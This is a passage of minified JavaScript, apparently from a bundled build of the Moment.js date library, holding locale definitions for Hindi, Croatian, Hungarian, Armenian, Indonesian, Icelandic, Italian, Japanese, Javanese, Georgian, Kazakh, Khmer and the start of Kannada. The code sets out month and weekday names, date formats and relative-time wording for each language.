t={1:"१",2:"२",3:"३",4:"४",5:"५",6:"६",7:"७",8:"८",9:"९",0:"०"},n={"१":"1","२":"2","३":"3","४":"4","५":"5","६":"6","७":"7","८":"8","९":"9","०":"0"},a=[/^जन/i,/^फ़र|फर/i,/^मार्च/i,/^अप्रै/i,/^मई/i,/^जून/i,/^जुल/i,/^अग/i,/^सितं|सित/i,/^अक्टू/i,/^नव|नवं/i,/^दिसं|दिस/i],i=[/^जन/i,/^फ़र/i,/^मार्च/i,/^अप्रै/i,/^मई/i,/^जून/i,/^जुल/i,/^अग/i,/^सित/i,/^अक्टू/i,/^नव/i,/^दिस/i];e.defineLocale("hi",{months:{format:"जनवरी_फ़रवरी_मार्च_अप्रैल_मई_जून_जुलाई_अगस्त_सितम्बर_अक्टूबर_नवम्बर_दिसम्बर".split("_"),standalone:"जनवरी_फरवरी_मार्च_अप्रैल_मई_जून_जुलाई_अगस्त_सितंबर_अक्टूबर_नवंबर_दिसंबर".split("_")},monthsShort:"जन._फ़र._मार्च_अप्रै._मई_जून_जुल._अग._सित._अक्टू._नव._दिस.".split("_"),weekdays:"रविवार_सोमवार_मंगलवार_बुधवार_गुरूवार_शुक्रवार_शनिवार".split("_"),weekdaysShort:"रवि_सोम_मंगल_बुध_गुरू_शुक्र_शनि".split("_"),weekdaysMin:"र_सो_मं_बु_गु_शु_श".split("_"),longDateFormat:{LT:"A h:mm बजे",LTS:"A h:mm:ss बजे",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm बजे",LLLL:"dddd, D MMMM YYYY, A h:mm बजे"},monthsParse:a,longMonthsParse:a,shortMonthsParse:i,monthsRegex:/^(जनवरी|जन\.?|फ़रवरी|फरवरी|फ़र\.?|मार्च?|अप्रैल|अप्रै\.?|मई?|जून?|जुलाई|जुल\.?|अगस्त|अग\.?|सितम्बर|सितंबर|सित\.?|अक्टूबर|अक्टू\.?|नवम्बर|नवंबर|नव\.?|दिसम्बर|दिसंबर|दिस\.?)/i,monthsShortRegex:/^(जनवरी|जन\.?|फ़रवरी|फरवरी|फ़र\.?|मार्च?|अप्रैल|अप्रै\.?|मई?|जून?|जुलाई|जुल\.?|अगस्त|अग\.?|सितम्बर|सितंबर|सित\.?|अक्टूबर|अक्टू\.?|नवम्बर|नवंबर|नव\.?|दिसम्बर|दिसंबर|दिस\.?)/i,monthsStrictRegex:/^(जनवरी?|फ़रवरी|फरवरी?|मार्च?|अप्रैल?|मई?|जून?|जुलाई?|अगस्त?|सितम्बर|सितंबर|सित?\.?|अक्टूबर|अक्टू\.?|नवम्बर|नवंबर?|दिसम्बर|दिसंबर?)/i,monthsShortStrictRegex:/^(जन\.?|फ़र\.?|मार्च?|अप्रै\.?|मई?|जून?|जुल\.?|अग\.?|सित\.?|अक्टू\.?|नव\.?|दिस\.?)/i,calendar:{sameDay:"[आज] LT",nextDay:"[कल] LT",nextWeek:"dddd, LT",lastDay:"[कल] LT",lastWeek:"[पिछले] dddd, LT",sameElse:"L"},relativeTime:{future:"%s में",past:"%s पहले",s:"कुछ ही क्षण",ss:"%d सेकंड",m:"एक मिनट",mm:"%d मिनट",h:"एक घंटा",hh:"%d घंटे",d:"एक दिन",dd:"%d दिन",M:"एक महीने",MM:"%d महीने",y:"एक वर्ष",yy:"%d वर्ष"},preparse:function(e){return e.replace(/[१२३४५६७८९०]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/रात|सुबह|दोपहर|शाम/,meridiemHour:function(e,t){return 12===e&&(e=0),"रात"===t?e<4?e:e+12:"सुबह"===t?e:"दोपहर"===t?e>=10?e:e+12:"शाम"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"रात":e<10?"सुबह":e<17?"दोपहर":e<20?"शाम":"रात"},week:{dow:0,doy:6}})}(n(30381))},30316:function(e,t,n){!function(e){"use strict";function t(e,t,n){var a=e+" ";switch(n){case"ss":return a+=1===e?"sekunda":2===e||3===e||4===e?"sekunde":"sekundi";case"m":return t?"jedna minuta":"jedne minute";case"mm":return a+=1===e?"minuta":2===e||3===e||4===e?"minute":"minuta";case"h":return t?"jedan sat":"jednog sata";case"hh":return a+=1===e?"sat":2===e||3===e||4===e?"sata":"sati";case"dd":return a+=1===e?"dan":"dana";case"MM":return a+=1===e?"mjesec":2===e||3===e||4===e?"mjeseca":"mjeseci";case"yy":return a+=1===e?"godina":2===e||3===e||4===e?"godine":"godina"}}e.defineLocale("hr",{months:{format:"siječnja_veljače_ožujka_travnja_svibnja_lipnja_srpnja_kolovoza_rujna_listopada_studenoga_prosinca".split("_"),standalone:"siječanj_veljača_ožujak_travanj_svibanj_lipanj_srpanj_kolovoz_rujan_listopad_studeni_prosinac".split("_")},monthsShort:"sij._velj._ožu._tra._svi._lip._srp._kol._ruj._lis._stu._pro.".split("_"),monthsParseExact:!0,weekdays:"nedjelja_ponedjeljak_utorak_srijeda_četvrtak_petak_subota".split("_"),weekdaysShort:"ned._pon._uto._sri._čet._pet._sub.".split("_"),weekdaysMin:"ne_po_ut_sr_če_pe_su".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"Do MMMM YYYY",LLL:"Do MMMM YYYY H:mm",LLLL:"dddd, Do MMMM YYYY H:mm"},calendar:{sameDay:"[danas u] LT",nextDay:"[sutra u] LT",nextWeek:function(){switch(this.day()){case 0:return"[u] [nedjelju] [u] LT";case 3:return"[u] [srijedu] [u] LT";case 6:return"[u] [subotu] [u] LT";case 1:case 2:case 4:case 5:return"[u] dddd [u] LT"}},lastDay:"[jučer u] LT",lastWeek:function(){switch(this.day()){case 0:return"[prošlu] [nedjelju] [u] LT";case 3:return"[prošlu] [srijedu] [u] LT";case 6:return"[prošle] [subote] [u] LT";case 1:case 2:case 4:case 5:return"[prošli] dddd [u] LT"}},sameElse:"L"},relativeTime:{future:"za %s",past:"prije %s",s:"par sekundi",ss:t,m:t,mm:t,h:t,hh:t,d:"dan",dd:t,M:"mjesec",MM:t,y:"godinu",yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(n(30381))},22138:function(e,t,n){!function(e){"use strict";var t="vasárnap hétfőn kedden szerdán csütörtökön pénteken szombaton".split(" ");function n(e,t,n,a){var i=e;switch(n){case"s":return a||t?"néhány másodperc":"néhány másodperce";case"ss":return i+(a||t)?" másodperc":" másodperce";case"m":return"egy"+(a||t?" perc":" perce");case"mm":return i+(a||t?" perc":" perce");case"h":return"egy"+(a||t?" óra":" órája");case"hh":return i+(a||t?" óra":" órája");case"d":return"egy"+(a||t?" nap":" napja");case"dd":return i+(a||t?" nap":" napja");case"M":return"egy"+(a||t?" hónap":" hónapja");case"MM":return i+(a||t?" hónap":" hónapja");case"y":return"egy"+(a||t?" év":" éve");case"yy":return i+(a||t?" év":" éve")}return""}function a(e){return(e?"":"[múlt] ")+"["+t[this.day()]+"] LT[-kor]"}e.defineLocale("hu",{months:"január_február_március_április_május_június_július_augusztus_szeptember_október_november_december".split("_"),monthsShort:"jan._feb._márc._ápr._máj._jún._júl._aug._szept._okt._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"vasárnap_hétfő_kedd_szerda_csütörtök_péntek_szombat".split("_"),weekdaysShort:"vas_hét_kedd_sze_csüt_pén_szo".split("_"),weekdaysMin:"v_h_k_sze_cs_p_szo".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"YYYY.MM.DD.",LL:"YYYY. MMMM D.",LLL:"YYYY. MMMM D. H:mm",LLLL:"YYYY. MMMM D., dddd H:mm"},meridiemParse:/de|du/i,isPM:function(e){return"u"===e.charAt(1).toLowerCase()},meridiem:function(e,t,n){return e<12?!0===n?"de":"DE":!0===n?"du":"DU"},calendar:{sameDay:"[ma] LT[-kor]",nextDay:"[holnap] LT[-kor]",nextWeek:function(){return a.call(this,!0)},lastDay:"[tegnap] LT[-kor]",lastWeek:function(){return a.call(this,!1)},sameElse:"L"},relativeTime:{future:"%s múlva",past:"%s",s:n,ss:n,m:n,mm:n,h:n,hh:n,d:n,dd:n,M:n,MM:n,y:n,yy:n},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(30381))},11423:function(e,t,n){!function(e){"use strict";e.defineLocale("hy-am",{months:{format:"հունվարի_փետրվարի_մարտի_ապրիլի_մայիսի_հունիսի_հուլիսի_օգոստոսի_սեպտեմբերի_հոկտեմբերի_նոյեմբերի_դեկտեմբերի".split("_"),standalone:"հունվար_փետրվար_մարտ_ապրիլ_մայիս_հունիս_հուլիս_օգոստոս_սեպտեմբեր_հոկտեմբեր_նոյեմբեր_դեկտեմբեր".split("_")},monthsShort:"հնվ_փտր_մրտ_ապր_մյս_հնս_հլս_օգս_սպտ_հկտ_նմբ_դկտ".split("_"),weekdays:"կիրակի_երկուշաբթի_երեքշաբթի_չորեքշաբթի_հինգշաբթի_ուրբաթ_շաբաթ".split("_"),weekdaysShort:"կրկ_երկ_երք_չրք_հնգ_ուրբ_շբթ".split("_"),weekdaysMin:"կրկ_երկ_երք_չրք_հնգ_ուրբ_շբթ".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY թ.",LLL:"D MMMM YYYY թ., HH:mm",LLLL:"dddd, D MMMM YYYY թ., HH:mm"},calendar:{sameDay:"[այսօր] LT",nextDay:"[վաղը] LT",lastDay:"[երեկ] LT",nextWeek:function(){return"dddd [օրը ժամը] LT"},lastWeek:function(){return"[անցած] dddd [օրը ժամը] LT"},sameElse:"L"},relativeTime:{future:"%s հետո",past:"%s առաջ",s:"մի քանի վայրկյան",ss:"%d վայրկյան",m:"րոպե",mm:"%d րոպե",h:"ժամ",hh:"%d ժամ",d:"օր",dd:"%d օր",M:"ամիս",MM:"%d ամիս",y:"տարի",yy:"%d տարի"},meridiemParse:/գիշերվա|առավոտվա|ցերեկվա|երեկոյան/,isPM:function(e){return/^(ցերեկվա|երեկոյան)$/.test(e)},meridiem:function(e){return e<4?"գիշերվա":e<12?"առավոտվա":e<17?"ցերեկվա":"երեկոյան"},dayOfMonthOrdinalParse:/\d{1,2}|\d{1,2}-(ին|րդ)/,ordinal:function(e,t){switch(t){case"DDD":case"w":case"W":case"DDDo":return 1===e?e+"-ին":e+"-րդ";default:return e}},week:{dow:1,doy:7}})}(n(30381))},29218:function(e,t,n){!function(e){"use strict";e.defineLocale("id",{months:"Januari_Februari_Maret_April_Mei_Juni_Juli_Agustus_September_Oktober_November_Desember".split("_"),monthsShort:"Jan_Feb_Mar_Apr_Mei_Jun_Jul_Agt_Sep_Okt_Nov_Des".split("_"),weekdays:"Minggu_Senin_Selasa_Rabu_Kamis_Jumat_Sabtu".split("_"),weekdaysShort:"Min_Sen_Sel_Rab_Kam_Jum_Sab".split("_"),weekdaysMin:"Mg_Sn_Sl_Rb_Km_Jm_Sb".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [pukul] HH.mm",LLLL:"dddd, D MMMM YYYY [pukul] HH.mm"},meridiemParse:/pagi|siang|sore|malam/,meridiemHour:function(e,t){return 12===e&&(e=0),"pagi"===t?e:"siang"===t?e>=11?e:e+12:"sore"===t||"malam"===t?e+12:void 0},meridiem:function(e,t,n){return e<11?"pagi":e<15?"siang":e<19?"sore":"malam"},calendar:{sameDay:"[Hari ini pukul] LT",nextDay:"[Besok pukul] LT",nextWeek:"dddd [pukul] LT",lastDay:"[Kemarin pukul] LT",lastWeek:"dddd [lalu pukul] LT",sameElse:"L"},relativeTime:{future:"dalam %s",past:"%s yang lalu",s:"beberapa detik",ss:"%d detik",m:"semenit",mm:"%d menit",h:"sejam",hh:"%d jam",d:"sehari",dd:"%d hari",M:"sebulan",MM:"%d bulan",y:"setahun",yy:"%d tahun"},week:{dow:0,doy:6}})}(n(30381))},90135:function(e,t,n){!function(e){"use strict";function t(e){return e%100==11||e%10!=1}function n(e,n,a,i){var r=e+" ";switch(a){case"s":return n||i?"nokkrar sekúndur":"nokkrum sekúndum";case"ss":return t(e)?r+(n||i?"sekúndur":"sekúndum"):r+"sekúnda";case"m":return n?"mínúta":"mínútu";case"mm":return t(e)?r+(n||i?"mínútur":"mínútum"):n?r+"mínúta":r+"mínútu";case"hh":return t(e)?r+(n||i?"klukkustundir":"klukkustundum"):r+"klukkustund";case"d":return n?"dagur":i?"dag":"degi";case"dd":return t(e)?n?r+"dagar":r+(i?"daga":"dögum"):n?r+"dagur":r+(i?"dag":"degi");case"M":return n?"mánuður":i?"mánuð":"mánuði";case"MM":return t(e)?n?r+"mánuðir":r+(i?"mánuði":"mánuðum"):n?r+"mánuður":r+(i?"mánuð":"mánuði");case"y":return n||i?"ár":"ári";case"yy":return t(e)?r+(n||i?"ár":"árum"):r+(n||i?"ár":"ári")}}e.defineLocale("is",{months:"janúar_febrúar_mars_apríl_maí_júní_júlí_ágúst_september_október_nóvember_desember".split("_"),monthsShort:"jan_feb_mar_apr_maí_jún_júl_ágú_sep_okt_nóv_des".split("_"),weekdays:"sunnudagur_mánudagur_þriðjudagur_miðvikudagur_fimmtudagur_föstudagur_laugardagur".split("_"),weekdaysShort:"sun_mán_þri_mið_fim_fös_lau".split("_"),weekdaysMin:"Su_Má_Þr_Mi_Fi_Fö_La".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY [kl.] H:mm",LLLL:"dddd, D. MMMM YYYY [kl.] H:mm"},calendar:{sameDay:"[í dag kl.] LT",nextDay:"[á morgun kl.] LT",nextWeek:"dddd [kl.] LT",lastDay:"[í gær kl.] LT",lastWeek:"[síðasta] dddd [kl.] LT",sameElse:"L"},relativeTime:{future:"eftir %s",past:"fyrir %s síðan",s:n,ss:n,m:n,mm:n,h:"klukkustund",hh:n,d:n,dd:n,M:n,MM:n,y:n,yy:n},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(30381))},10150:function(e,t,n){!function(e){"use strict";e.defineLocale("it-ch",{months:"gennaio_febbraio_marzo_aprile_maggio_giugno_luglio_agosto_settembre_ottobre_novembre_dicembre".split("_"),monthsShort:"gen_feb_mar_apr_mag_giu_lug_ago_set_ott_nov_dic".split("_"),weekdays:"domenica_lunedì_martedì_mercoledì_giovedì_venerdì_sabato".split("_"),weekdaysShort:"dom_lun_mar_mer_gio_ven_sab".split("_"),weekdaysMin:"do_lu_ma_me_gi_ve_sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[Oggi alle] LT",nextDay:"[Domani alle] LT",nextWeek:"dddd [alle] LT",lastDay:"[Ieri alle] LT",lastWeek:function(){switch(this.day()){case 0:return"[la scorsa] dddd [alle] LT";default:return"[lo scorso] dddd [alle] LT"}},sameElse:"L"},relativeTime:{future:function(e){return(/^[0-9].+$/.test(e)?"tra":"in")+" "+e},past:"%s fa",s:"alcuni secondi",ss:"%d secondi",m:"un minuto",mm:"%d minuti",h:"un'ora",hh:"%d ore",d:"un giorno",dd:"%d giorni",M:"un mese",MM:"%d mesi",y:"un anno",yy:"%d anni"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(n(30381))},90626:function(e,t,n){!function(e){"use strict";e.defineLocale("it",{months:"gennaio_febbraio_marzo_aprile_maggio_giugno_luglio_agosto_settembre_ottobre_novembre_dicembre".split("_"),monthsShort:"gen_feb_mar_apr_mag_giu_lug_ago_set_ott_nov_dic".split("_"),weekdays:"domenica_lunedì_martedì_mercoledì_giovedì_venerdì_sabato".split("_"),weekdaysShort:"dom_lun_mar_mer_gio_ven_sab".split("_"),weekdaysMin:"do_lu_ma_me_gi_ve_sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:function(){return"[Oggi a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"},nextDay:function(){return"[Domani a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"},nextWeek:function(){return"dddd [a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"},lastDay:function(){return"[Ieri a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"},lastWeek:function(){switch(this.day()){case 0:return"[La scorsa] dddd [a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT";default:return"[Lo scorso] dddd [a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"}},sameElse:"L"},relativeTime:{future:"tra %s",past:"%s fa",s:"alcuni secondi",ss:"%d secondi",m:"un minuto",mm:"%d minuti",h:"un'ora",hh:"%d ore",d:"un giorno",dd:"%d giorni",w:"una settimana",ww:"%d settimane",M:"un mese",MM:"%d mesi",y:"un anno",yy:"%d anni"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(n(30381))},39183:function(e,t,n){!function(e){"use strict";e.defineLocale("ja",{eras:[{since:"2019-05-01",offset:1,name:"令和",narrow:"㋿",abbr:"R"},{since:"1989-01-08",until:"2019-04-30",offset:1,name:"平成",narrow:"㍻",abbr:"H"},{since:"1926-12-25",until:"1989-01-07",offset:1,name:"昭和",narrow:"㍼",abbr:"S"},{since:"1912-07-30",until:"1926-12-24",offset:1,name:"大正",narrow:"㍽",abbr:"T"},{since:"1873-01-01",until:"1912-07-29",offset:6,name:"明治",narrow:"㍾",abbr:"M"},{since:"0001-01-01",until:"1873-12-31",offset:1,name:"西暦",narrow:"AD",abbr:"AD"},{since:"0000-12-31",until:-1/0,offset:1,name:"紀元前",narrow:"BC",abbr:"BC"}],eraYearOrdinalRegex:/(元|\d+)年/,eraYearOrdinalParse:function(e,t){return"元"===t[1]?1:parseInt(t[1]||e,10)},months:"1月_2月_3月_4月_5月_6月_7月_8月_9月_10月_11月_12月".split("_"),monthsShort:"1月_2月_3月_4月_5月_6月_7月_8月_9月_10月_11月_12月".split("_"),weekdays:"日曜日_月曜日_火曜日_水曜日_木曜日_金曜日_土曜日".split("_"),weekdaysShort:"日_月_火_水_木_金_土".split("_"),weekdaysMin:"日_月_火_水_木_金_土".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY/MM/DD",LL:"YYYY年M月D日",LLL:"YYYY年M月D日 HH:mm",LLLL:"YYYY年M月D日 dddd HH:mm",l:"YYYY/MM/DD",ll:"YYYY年M月D日",lll:"YYYY年M月D日 HH:mm",llll:"YYYY年M月D日(ddd) HH:mm"},meridiemParse:/午前|午後/i,isPM:function(e){return"午後"===e},meridiem:function(e,t,n){return e<12?"午前":"午後"},calendar:{sameDay:"[今日] LT",nextDay:"[明日] LT",nextWeek:function(e){return e.week()!==this.week()?"[来週]dddd LT":"dddd LT"},lastDay:"[昨日] LT",lastWeek:function(e){return this.week()!==e.week()?"[先週]dddd LT":"dddd LT"},sameElse:"L"},dayOfMonthOrdinalParse:/\d{1,2}日/,ordinal:function(e,t){switch(t){case"y":return 1===e?"元年":e+"年";case"d":case"D":case"DDD":return e+"日";default:return e}},relativeTime:{future:"%s後",past:"%s前",s:"数秒",ss:"%d秒",m:"1分",mm:"%d分",h:"1時間",hh:"%d時間",d:"1日",dd:"%d日",M:"1ヶ月",MM:"%dヶ月",y:"1年",yy:"%d年"}})}(n(30381))},24286:function(e,t,n){!function(e){"use strict";e.defineLocale("jv",{months:"Januari_Februari_Maret_April_Mei_Juni_Juli_Agustus_September_Oktober_Nopember_Desember".split("_"),monthsShort:"Jan_Feb_Mar_Apr_Mei_Jun_Jul_Ags_Sep_Okt_Nop_Des".split("_"),weekdays:"Minggu_Senen_Seloso_Rebu_Kemis_Jemuwah_Septu".split("_"),weekdaysShort:"Min_Sen_Sel_Reb_Kem_Jem_Sep".split("_"),weekdaysMin:"Mg_Sn_Sl_Rb_Km_Jm_Sp".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [pukul] HH.mm",LLLL:"dddd, D MMMM YYYY [pukul] HH.mm"},meridiemParse:/enjing|siyang|sonten|ndalu/,meridiemHour:function(e,t){return 12===e&&(e=0),"enjing"===t?e:"siyang"===t?e>=11?e:e+12:"sonten"===t||"ndalu"===t?e+12:void 0},meridiem:function(e,t,n){return e<11?"enjing":e<15?"siyang":e<19?"sonten":"ndalu"},calendar:{sameDay:"[Dinten puniko pukul] LT",nextDay:"[Mbenjang pukul] LT",nextWeek:"dddd [pukul] LT",lastDay:"[Kala wingi pukul] LT",lastWeek:"dddd [kepengker pukul] LT",sameElse:"L"},relativeTime:{future:"wonten ing %s",past:"%s ingkang kepengker",s:"sawetawis detik",ss:"%d detik",m:"setunggal menit",mm:"%d menit",h:"setunggal jam",hh:"%d jam",d:"sedinten",dd:"%d dinten",M:"sewulan",MM:"%d wulan",y:"setaun",yy:"%d taun"},week:{dow:1,doy:7}})}(n(30381))},12105:function(e,t,n){!function(e){"use strict";e.defineLocale("ka",{months:"იანვარი_თებერვალი_მარტი_აპრილი_მაისი_ივნისი_ივლისი_აგვისტო_სექტემბერი_ოქტომბერი_ნოემბერი_დეკემბერი".split("_"),monthsShort:"იან_თებ_მარ_აპრ_მაი_ივნ_ივლ_აგვ_სექ_ოქტ_ნოე_დეკ".split("_"),weekdays:{standalone:"კვირა_ორშაბათი_სამშაბათი_ოთხშაბათი_ხუთშაბათი_პარასკევი_შაბათი".split("_"),format:"კვირას_ორშაბათს_სამშაბათს_ოთხშაბათს_ხუთშაბათს_პარასკევს_შაბათს".split("_"),isFormat:/(წინა|შემდეგ)/},weekdaysShort:"კვი_ორშ_სამ_ოთხ_ხუთ_პარ_შაბ".split("_"),weekdaysMin:"კვ_ორ_სა_ოთ_ხუ_პა_შა".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[დღეს] LT[-ზე]",nextDay:"[ხვალ] LT[-ზე]",lastDay:"[გუშინ] LT[-ზე]",nextWeek:"[შემდეგ] dddd LT[-ზე]",lastWeek:"[წინა] dddd LT-ზე",sameElse:"L"},relativeTime:{future:function(e){return e.replace(/(წამ|წუთ|საათ|წელ|დღ|თვ)(ი|ე)/,(function(e,t,n){return"ი"===n?t+"ში":t+n+"ში"}))},past:function(e){return/(წამი|წუთი|საათი|დღე|თვე)/.test(e)?e.replace(/(ი|ე)$/,"ის წინ"):/წელი/.test(e)?e.replace(/წელი$/,"წლის წინ"):e},s:"რამდენიმე წამი",ss:"%d წამი",m:"წუთი",mm:"%d წუთი",h:"საათი",hh:"%d საათი",d:"დღე",dd:"%d დღე",M:"თვე",MM:"%d თვე",y:"წელი",yy:"%d წელი"},dayOfMonthOrdinalParse:/0|1-ლი|მე-\d{1,2}|\d{1,2}-ე/,ordinal:function(e){return 0===e?e:1===e?e+"-ლი":e<20||e<=100&&e%20==0||e%100==0?"მე-"+e:e+"-ე"},week:{dow:1,doy:7}})}(n(30381))},47772:function(e,t,n){!function(e){"use strict";var t={0:"-ші",1:"-ші",2:"-ші",3:"-ші",4:"-ші",5:"-ші",6:"-шы",7:"-ші",8:"-ші",9:"-шы",10:"-шы",20:"-шы",30:"-шы",40:"-шы",50:"-ші",60:"-шы",70:"-ші",80:"-ші",90:"-шы",100:"-ші"};e.defineLocale("kk",{months:"қаңтар_ақпан_наурыз_сәуір_мамыр_маусым_шілде_тамыз_қыркүйек_қазан_қараша_желтоқсан".split("_"),monthsShort:"қаң_ақп_нау_сәу_мам_мау_шіл_там_қыр_қаз_қар_жел".split("_"),weekdays:"жексенбі_дүйсенбі_сейсенбі_сәрсенбі_бейсенбі_жұма_сенбі".split("_"),weekdaysShort:"жек_дүй_сей_сәр_бей_жұм_сен".split("_"),weekdaysMin:"жк_дй_сй_ср_бй_жм_сн".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Бүгін сағат] LT",nextDay:"[Ертең сағат] LT",nextWeek:"dddd [сағат] LT",lastDay:"[Кеше сағат] LT",lastWeek:"[Өткен аптаның] dddd [сағат] LT",sameElse:"L"},relativeTime:{future:"%s ішінде",past:"%s бұрын",s:"бірнеше секунд",ss:"%d секунд",m:"бір минут",mm:"%d минут",h:"бір сағат",hh:"%d сағат",d:"бір күн",dd:"%d күн",M:"бір ай",MM:"%d ай",y:"бір жыл",yy:"%d жыл"},dayOfMonthOrdinalParse:/\d{1,2}-(ші|шы)/,ordinal:function(e){var n=e%10,a=e>=100?100:null;return e+(t[e]||t[n]||t[a])},week:{dow:1,doy:7}})}(n(30381))},18758:function(e,t,n){!function(e){"use strict";var t={1:"១",2:"២",3:"៣",4:"៤",5:"៥",6:"៦",7:"៧",8:"៨",9:"៩",0:"០"},n={"១":"1","២":"2","៣":"3","៤":"4","៥":"5","៦":"6","៧":"7","៨":"8","៩":"9","០":"0"};e.defineLocale("km",{months:"មករា_កុម្ភៈ_មីនា_មេសា_ឧសភា_មិថុនា_កក្កដា_សីហា_កញ្ញា_តុលា_វិច្ឆិកា_ធ្នូ".split("_"),monthsShort:"មករា_កុម្ភៈ_មីនា_មេសា_ឧសភា_មិថុនា_កក្កដា_សីហា_កញ្ញា_តុលា_វិច្ឆិកា_ធ្នូ".split("_"),weekdays:"អាទិត្យ_ច័ន្ទ_អង្គារ_ពុធ_ព្រហស្បតិ៍_សុក្រ_សៅរ៍".split("_"),weekdaysShort:"អា_ច_អ_ព_ព្រ_សុ_ស".split("_"),weekdaysMin:"អា_ច_អ_ព_ព្រ_សុ_ស".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},meridiemParse:/ព្រឹក|ល្ងាច/,isPM:function(e){return"ល្ងាច"===e},meridiem:function(e,t,n){return e<12?"ព្រឹក":"ល្ងាច"},calendar:{sameDay:"[ថ្ងៃនេះ ម៉ោង] LT",nextDay:"[ស្អែក ម៉ោង] LT",nextWeek:"dddd [ម៉ោង] LT",lastDay:"[ម្សិលមិញ ម៉ោង] LT",lastWeek:"dddd [សប្តាហ៍មុន] [ម៉ោង] LT",sameElse:"L"},relativeTime:{future:"%sទៀត",past:"%sមុន",s:"ប៉ុន្មានវិនាទី",ss:"%d វិនាទី",m:"មួយនាទី",mm:"%d នាទី",h:"មួយម៉ោង",hh:"%d ម៉ោង",d:"មួយថ្ងៃ",dd:"%d ថ្ងៃ",M:"មួយខែ",MM:"%d ខែ",y:"មួយឆ្នាំ",yy:"%d ឆ្នាំ"},dayOfMonthOrdinalParse:/ទី\d{1,2}/,ordinal:"ទី%d",preparse:function(e){return e.replace(/[១២៣៤៥៦៧៨៩០]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},week:{dow:1,doy:4}})}(n(30381))},79282:function(e,t,n){!function(e){"use strict";var t={1:"೧",2:"೨",3:"೩",4:"೪",5:"೫",6:"೬",7:"೭",8:"೮",9:"೯",0:"೦"},n={"೧":"1","೨":"2","೩":"3","೪":"4","೫":"5","೬":"6","೭":"7","೮":"8","೯":"9","೦":"0"};e.defineLocale("kn",{months:"ಜನವರಿ_ಫೆಬ್ರವರಿ_ಮಾರ್ಚ್_ಏಪ್ರಿಲ್_ಮೇ_ಜೂನ್_ಜುಲೈ_ಆಗಸ್ಟ್_ಸೆಪ್ಟೆಂಬರ್_ಅಕ್ಟೋಬರ್_ನವೆಂಬರ್_ಡಿಸೆಂಬರ್".split("_"),monthsShort:"ಜನ_ಫೆಬ್ರ_ಮಾರ್ಚ್_ಏಪ್ರಿಲ್_ಮೇ_ಜೂನ್_ಜುಲೈ_ಆಗಸ್ಟ್_ಸೆಪ್ಟೆಂ_ಅಕ್ಟೋ_ನವೆಂ_ಡಿಸೆಂ".split("_"),monthsParseExact:!0,weekdays:"ಭಾನುವಾರ_ಸೋಮವಾರ_ಮಂಗಳವಾರ_ಬುಧವಾರ_ಗುರುವಾರ_ಶುಕ್ರವಾರ_ಶನಿವಾರ".split("_"),weekdaysShort:"ಭಾನು_ಸೋಮ_ಮಂಗಳ_ಬುಧ_ಗುರು_ಶುಕ್ರ_ಶನಿ".split("_"),weekdaysMin:"ಭಾ_ಸೋ_ಮಂ_ಬು_ಗು_ಶು_ಶ".split("_"),longDateFormat:{LT:"A h:mm",LTS:"A h:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm",LLLL:"dddd, D MMMM YYYY, A h:mm"},calendar:{sameDay:"[ಇಂದು] LT",nextDay:"[ನಾಳೆ] LT",nextWeek:"dddd, LT",lastDay:"[ನಿನ್ನೆ] LT",lastWeek:"[ಕೊನೆಯ] dddd, 